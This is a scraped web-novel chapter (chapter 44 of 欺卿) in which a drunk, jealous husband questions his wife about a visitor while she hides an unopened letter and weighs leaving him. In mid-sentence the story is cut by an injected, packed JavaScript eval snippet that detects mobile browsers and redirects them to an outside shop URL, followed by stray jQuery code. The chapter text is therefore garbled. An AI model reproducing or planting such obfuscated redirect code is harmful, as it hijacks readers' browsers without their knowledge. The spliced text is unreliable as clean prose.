文趣网 > 都市小说 > 欺卿 > 44. 第44章
    夜深,院门轻响。

    谢如锦抬眸看了眼天色,比她预想中的要晚了些,眉眼里平添几分自己都未曾察觉的不满。

    早已洗漱好的她,换了寝衣,靠坐在床头,手中拿的不知谁编写的《奇人异录》。书虽拿在手中,可半天没翻动一页。目光虚虚落在书上,心思早已神游天外。

    脚步声由远及近,不疾不缓,比平日里沉了些。

    她没有抬眸,佯装看书。

    房门被推开,明显的酒气扑了进来,里面夹杂着若有似无的香粉味。

    谢如锦眉头微皱。细嫩的指尖轻轻翻动一页,页面上正写着“口技”二字。

    孟卿在门口站了片刻,眼神毫不遮掩落在床榻这方。烛火下,她正垂首翻书。烛光勾勒出的那抹侧影照应在墙上,让人心中顿时一暖,这是他期待许久的场景。

    没有出声,他缓缓走过去,在谢如锦身旁坐下。

    身侧床榻微微下沉,宽大的肩膀紧贴而来,酒气也随之席卷而来,那股若有似无的胭脂味也跟着近了些。

    谢如锦掩下眸中一丝厌恶,微微侧开头。

    刺鼻、难闻。

    “这么晚,还没歇息呢?”

    “世子没回来,我可不敢歇息。”谢如锦眼睛都不带眨一下,就着他的话怼了回去。

    孟卿被这话噎着不上不下,岔开话题道:“在看什么呢?”

    “《奇人异录》。”

    他伸手抽走了她手里的书,扫了扫正翻开的这页,又翻到封面看了看。带着揶揄的口气轻声念道:“口技?”

    眉梢轻挑,眼中流露出雀跃,“娘子,想了解我?”

    谢如锦径直从他手中抽了回来,“没有,这书是我让春莺去城中书庄随意买了几本。碰巧书里有这内容罢了,别多想。”

    孟卿眼中的谢如锦此刻格外别扭,神色平淡,但他可清楚瞧见她抓住书页的手指格外用力攥着。他将书又从她手中抽走,这次动作很轻,却带着一种不容拒绝的意味。

    谢如锦终于偏过头看着他,眼神好似再问:“你到底想干甚?”

    酒后的孟卿脸色泛着少见的薄红,眼神直勾勾盯着她,看起来眸中真有几分醉意,除偶有闪过的微微清醒。

    “府中下人说。”他开口道,深邃的眼神依旧落在她脸上,好似想从上面再找到其他破绽,“今日酉时,时昭来了。”

    “他不是你的好兄弟吗?他来有何奇怪?”谢如锦与之对视,眸中皆是平淡。仿佛俩人不过是再普通不过的一对夫妻,寻常的家常问候。

    “下人说时昭是专门来见你的,你俩在湖边那站了许久,离得很近,你仰着头看他,还对他……”停顿片刻,在谢如锦的眼神下,孟卿缓缓吐出最后几字,“你还对他笑。”

    谢如锦静静地看着他,神色如旧。“下人还说了什么?”

    “还说时昭走的时候,背影轻快得很,看来今日下午你俩相谈甚欢呀。”嘴角微微下撇,眼中流出一丝伤感,活像被人冷落的怨妇。

    “相谈甚欢谈不上。”谢如锦把被他抽走的书拿回来,重新翻开,“不过说了几句话罢了。”

    “什么话?”

    谢如锦微微一顿,他问得坦然倒让她有些意外,抬眸看了他一眼,道:“想知道?”

    “想。”

    不知为何,此刻谢如锦亦起了逗弄的心思,抬眸看了看他,十分郑重道:“他想给你戴绿帽。”

    语毕,面色如常,专心看起书来。

    孟卿神色一滞,怔了片刻,没好气道:“时昭那人虽嘴上没个把门的,但什么事情做得,什么事情做不得,他心里有数。”

    谢如锦闻言,嘴角微微一扯,抬眼看了看他,道:“你对他倒是放心。”

    “从小的交情,这点我还是信他的。”

    她“嗯”了一声,收回目光,语气淡淡:“那你这十几年的交情,真是值了。”

    孟卿眉心微拧,却没发作。他沉默了半晌,伸手把她刚翻开的书又合上了。指腹压着封面,不让她再翻。

    “别打岔。”他道,“你俩到底说了什么?”

    谢如锦看着他那双在封面上的手,骨节分明,用力按着。她忽然觉得有点想笑,道:“方才说了,你自己不信。”

    “那是胡话,我不信。”

    “那你想知道什么?”谢如锦抬眼看他,语气中夹杂着一丝无奈,“我说了你又不信,你到底想干嘛?”

    孟卿沉默片刻,看了她许久,才开口道:“这么久以来,你从未这样看过我?”

    谢如锦愣住了。张了张嘴,想说那是因为时昭坐在石头上比她高,她总得仰头看吧。可话刚到嘴边又咽了回去,因为她意识到,这段日子她确实没有正眼瞧过他。

    从重逢那天开始,到今日以来。她已经许久没有好好的,真正地瞧过他。

    孟卿垂下眼,大掌安静地放在床榻边,声音格外低沉,“今日我在席上,满脑子都在想你看他时的模样。”

    谢如锦斜眸瞧了一眼,她就知道他在府中到处都是眼线。好在接信之时,距离远,没人看清递的是什么。

    孟卿自顾自道:“连酒是什么滋味都没尝出来。”

    “那你还能沾一身胭脂味回来?”话刚出口,谢如锦便后悔了。

    孟卿眼神瞬间一亮,他扯起自己的袖子凑到鼻尖闻了闻,皱起眉,似乎在辨认那股味道来自何处。

    俄而放下袖子,侧过身子面对她,认认真真地道:“是宴席上的一位夫人敬酒时,她凑过来碰了一下,我一时晃了神竟忘记躲开了。”

    再说“忘记躲开”四字时,孟卿的眉头倏然皱得更紧,跟着解释道:“今夜,我本就说了不喝酒。可那杨尚书搬出了他窖藏了二十年地竹叶青,满堂人都看着在,我若不给这个面子……”

    声音越说越低,他忽然攥住了她的手腕。

    “你是不是早就闻到了?”声音瞬间哑了下来,“你早就闻到这味却不说,是不是等着抓住我的尾巴,好趁机离开我。”

    谢如锦的手腕在他掌心里微微发颤。

    这几日,她确实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777902|203097||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    偶有这样的念头。

    “你白日对时昭笑得那样好看。”他低下头,额头靠在她的肩窝,声音闷闷地传过来,“你好久没有那样对我笑过。三年了,我想你好久了,若若。”

    谢如锦僵在那里,一动不动。

    她的手腕还在他手里,掌心的温度着实烫人。可她没有挣开,也没有回握,只是那样坐着。耳边回荡着皆是他方才说得话。她很想说“我们好好过日子吧。”但话到嘴边又咽了回去。

    那封信还在梳妆台的格子里安安静静地躺着。

    她盯着床脚,盯了许久,终于轻轻开口道:“你起来,压着我了。”

    僵硬的语气让孟卿微微一怔,没想到她沉默了这么久,开口说的竟是这个。他缓缓直起身来,低头一看,几缕青丝果然被他方才压住了。松开谢如锦的手腕,伸手替她把那几缕发丝轻轻抽出来,动作格外温柔。

    谢如锦别过脸去,声音闷闷的:“去洗一下,身上一股子臭味,闻着真让人难受。”

    孟卿低头闻了闻自己的衣襟,酒气混着残存的脂粉香,确实不算好闻。他本想说“那不是臭味,是酒味”,可抬头看见她别过去的脸,忽然把到口中的话咽了回去。

    “好,我先去洗漱。”

    他没多问,起身便往屏风后走。走了两步又停住,想回头说些什么,但最终还是走到屏风后去了。

    随着水声响起,谢如锦此刻才算彻底放下心,轻呼一口气。好险,方才她差点就要将“好好过日子”说出来。时至今日,她已快要分不清自己到底想要什么。

    谢如锦缓缓倒在床上,书自手中滑落。

    地位、权势、身份。孟卿样样皆有。身为镇南侯世子,年轻有为,手握重权,容貌也是上乘。嫁给他,她不吃亏,甚至比嫁给表哥更好。

    可他们俩的认识本就充满算计误会。

    那晚她在马车中被他抓了回来,被按进洞房。且他之前那疯狂模样,她也从来没有忘记,但为何经过这些日子相处,她又对他心软。

    今日拿到这封信来时,她以为自己会毫不犹豫地拆开、回信、赴约,然后头也不回地离开这座府邸。可她没拆,从下午到深夜,那封信被她从袖中挪到枕下,又从枕下挪到妆台格子里,一路挪一路没拆。

    泪水忽然滚落下来。

    她攥着被角,没有发出任何声音,只是任由那几滴泪顺着脸颊滑下去,再落进软枕里,悄无声息地消失。

    水声忽然停了。

    脚步声不疾不徐从屏风后响起。

    一声吹气,烛火蓦然灭了,整个房间陷入漆黑。

    床榻微微一沉,孟卿躺了下来,手臂随即探了过来揽住她的腰。掌心轻轻贴在小腹上,隔着薄薄的寝衣,十分温暖。

    “睡了吗?”

    谢如锦没有回答,她没有动,也没有推开。

    细微的呼吸声夹杂着刻意压制的鼻息,身后的人将她搂得更紧。

    过了许久,久到谢如锦都快睡着时,头顶蓦然响起一句:“我会对你好的,若若。”